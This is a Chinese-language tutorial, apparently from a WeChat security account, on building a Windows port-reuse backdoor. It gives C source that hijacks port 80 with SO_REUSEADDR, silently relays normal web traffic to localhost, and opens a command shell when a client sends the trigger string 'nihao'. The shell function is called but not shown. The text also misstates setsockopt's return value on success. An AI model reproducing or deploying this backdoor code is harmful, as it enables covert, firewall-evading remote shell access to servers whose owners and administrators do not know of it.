端口复用后门浅析
一次性进群,长期免费索取教程,没有付费教程。
教程列表见微信公众号底部菜单
进微信群回复公众号:微信群;QQ群:16004488
微信公众号:计算机与网络安全
ID:Computer-network
使用远程线程技术可以穿越防火墙,但这项技术只能应用于反向连接的后门,通过插入进程以其他进程的名义访问网络。如果在内网则接收不到后门的反向连接,此时就无法使用该反向后门了。
一、后门思路
端口复用是指一个端口上建立了多个连接,而不是在一个端口上面开放了多个服务而互不干扰。在一般情况下,一个端口只能被一个程序所占用,如果通过套接字设置了端口复用选项,则该套接字就可以绑定在已经被占用的端口上,同时并没有权限的区分。通常后绑定的程序权限比较大,后绑定的程序可以接收通过这个端口的所有的数据,而先前绑定的程序则收不到任何数据。
端口复用后门是使用端口复用技术的后门程序,这一类后门程序通常是嵌入系统进程里的线程(DLL文件),占用系统资源少,隐蔽性高,最重要的是能突破防火墙,很难察觉。
最初的端口复用后门是复用某个防火墙允许连接的端口,由于后绑定的程序可以接收通过这个端口的所有数据,即后门可以接收到通过这个端口的所有数据,这样后门就会接收大量无用的数据,从而导致难以区分哪些是要传输的命令,所以就需要对收到的数据进行判断。
为方便比较接收到的数据和特征字符,如果相同就启动后门函数,在后门函数启动后,客户端套接字接收到的数据就直接传递给后门函数,不再和特征字符相比较。虽然这样是可行的,但是后门程序复用了相应的服务端口,从而导致原来的服务接收不到任何信息。如以Web服务为例,当后门复用了80端口后,其他用户将无法访问该服务器上的网站,这样后门在服务器上短时间是可以存在的,但是时间一长就很容易被网络管理员发现。
由于每台计算机上都有一个回环IP地址127.0.0.1,这样一台服务器至少有公网IP地址和回环IP地址两个IP地址。另外,在调用bind函数实现套接字和本地地址绑定时,需要设置sockaddr_in结构,这个结构中的sin_addr.S_un.S_addr字段为设置要绑定的IP地址。因此,后门可只对公网IP的端口复用,再接收客户连接以判断接收到的数据。如果和特征字符相同,则调用后门函数;否则后门就和127.0.0.1的相同端口建立连接并把数据转发给127.0.0.1。
当后门收到由127.0.0.1发送的数据后,就把数据转发给客户,其传递过程如图1所示。
图1 复用端口后门基本原理
不难看出,此时后门相当于一个数据转发的中转站,图中箭头代表数据传输的方向。
二、具体编程实现
下面将在端口复用后门原理和整体结构的基础上,从编程角度介绍其具体实现过程。首先要初始化winsock库,建立套接字;再调用setsocket函数把套接字设置成可重复绑定端口;绑定到本地地址,等待连接,最后利用线程函数创建新线程,其过程如图2所示。
图2 端口复用后门的具体实现过程
1、初始化winsock库,建立套接字。在设置可重复绑定端口之前,需要先初始化winsock库,再建立套接字。
2、将套接字设置为可以重复绑定端口。实现端口复用也是把套接字绑定在已经被其他服务占用的端口上,在调用bind函数之前需要先调用setsockopt函数设置套接字,使其可以复用端口。
该函数是用来设置和socket相关的属性,其具体格式如下:
int setsockopt( SOCKET s,
int level,
int optname,
const char FAR* optval,
int optlen);
其中各个参数的具体作用如下。
s:该参数指向一个要对其进行设置的套接字句柄。
level:指向要设置套接字处于socket的层次,目前仅支持SOL_SOCKET和IPPROTO_TCP以及NSPROTO_IPX层次。
optname:要设置的选项属性。
optval:指针,指向存放选项值的缓冲区。
optlen:optval缓冲区的长度。
setsockopt函数调用的具体格式如下:
int val=1;
if(setsockopt(sListen,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
//设置套接字为可以重复绑定端口
{
printf("setsockopt error\n");
return 0;
}
如果该函数调用成功则返回SOCKET_ERROR。
3、绑定到本地地址,等待连接。在设置完可重复绑定端口属性后,可以使用bind函数将其套接字绑定到公网的IP上,并使用listen函数监听端口。
4、在监听的过程中如果接收到连接,则使用accept函数接受新连接,并以该函数返回的套接字为参数,使用CreateThread函数创建新线程。
这几部分的具体实现代码如下:
int main(int argc, char* argv[])
{
char szHost[256];
sockaddr_in saddr;
sockaddr_in caddr;
SOCKET sListen;
SOCKET sClient[1000];
WSADATA wsaData;
WORD sockVersion = MAKEWORD(2, 2);
if(WSAStartup(sockVersion, &wsaData) != 0) //加载winsock库
return 0;
gethostname(szHost, 256); //得到本地的一块网卡的IP
hostent *pHost = gethostbyname(szHost);
in_addr addr;
memcpy(&addr.S_un.S_addr, pHost->h_addr_list[0], pHost->h_length);
saddr.sin_family = AF_INET;
saddr.sin_addr.S_un.S_addr =addr.S_un.S_addr; //设置要绑定的IP地址,公网IP
saddr.sin_port = htons(80); //建立套接字
sListen=WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);;
if(sListen==SOCKET_ERROR)
{
printf("WSASocket error \n");
return 0;
}
int val=1;
if(setsockopt(sListen,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
//设置套接字为可以重复绑定端口
{
printf("setsockopt error\n");
return 0;
}
if(bind(sListen,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) //绑定套接字到公网IP上
{
printf("bind error \n");
return 0;
}
listen(sListen,1000); //监听套接字
DWORD ThreadId;
HANDLE hThread;
for (int i=0;i<1000;i++)
{
int Addrsize = sizeof(caddr);
sClient[i] = accept(sListen,(struct sockaddr *)&caddr,&Addrsize); //接受新连接
printf("%s\n",inet_ntoa(caddr.sin_addr));
if(sClient[i]!=INVALID_SOCKET)
{
hThread = CreateThread(NULL,0,ThreadProc,(LPVOID)sClient[i],0,
&ThreadId); //开启新线程
if(hThread==NULL)
{
printf("CreateThread error");
break;
}
}
CloseHandle(hThread);
}
closesocket(sListen);
WSACleanup();
return 0;
}
5、设置线程函数。在创建线程后需调用线程函数ThreadProc设置相应属性。由于后门在没有收到特征字符串时,就相当于是一个数据发送的中转,这样就会使整个收发过程比没有中转时要慢。需要先设置接收和发送数据的超时时间,还要用到setsocketopt函数。还需要将接收到的数据转发给127.0.0.1,并将从127.0.0.1收到的数据发给用户,同时判断特征字符,有则开启后门函数。这一部分的具体实现代码如下:
DWORD WINAPI ThreadProc(LPVOID lpParam)
{
SOCKET sClient = (SOCKET)lpParam;
SOCKET sNative;
char buff[4096]={0};
SOCKADDR_IN saddr;
DWORD val;
saddr.sin_family = AF_INET;
saddr.sin_addr.S_un.S_addr = inet_addr("127.0.0.1"); //设置要连接的回环地址
saddr.sin_port = htons(80);
if((sNative=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) //建立套接字
{
printf("socket error\n");
return 0;
}
val = 100;
if(setsockopt(sNative,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)//设置收发数据超时时间
{
printf("setsockopt sNative error \n");
return 0;
}
if(setsockopt(sClient,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
{
printf("setsockopt sClient failed \n");
return 0;
}
if(connect(sNative,(SOCKADDR *)&saddr,sizeof(saddr))!=0) //连接127.0.0.1的80端口
{
printf("connect sNative failed\n");
closesocket(sNative);
closesocket(sClient);
return 0;
}
DWORD ret;
//循环接收从客户发来的数据,发给127.0.0.1,同时把从127.0.0.1收到的数据发给客户并判断特征字符
while(TRUE)
{
ret = recv(sClient,buff,4096,0); //接收从客户来的数据
if(ret>0)
{
if(strncmp(buff,"nihao",5)==0) //判断特征字符串,相同则调用后门函数
{
cmdshell(sClient);
break;
}
//发送给127.0.0.1
send(sNative,buff,ret,0);
}
else if(ret==SOCKET_ERROR)
break;
ret = recv(sNative,buff,4096,0); //接收从127.0.0.1来的数据
if(ret>0)
send(sClient,buff,ret,0); //发送给客户
else if(ret==SOCKET_ERROR)
break;
}
closesocket(sClient);
closesocket(sNative);
return 0 ;
}
其中SO_RCVTIMEO参数的作用是对收发数据超时进行设置,val表示设置超时的毫秒数:100毫秒。而sClient套接字指向用户;sNative套接字指向127.0.0.1。从上述代码中可以看出,当收到数据的前5个字符是nihao时,就会调用后门函数。
微信公众号:计算机与网络安全
ID:Computer-network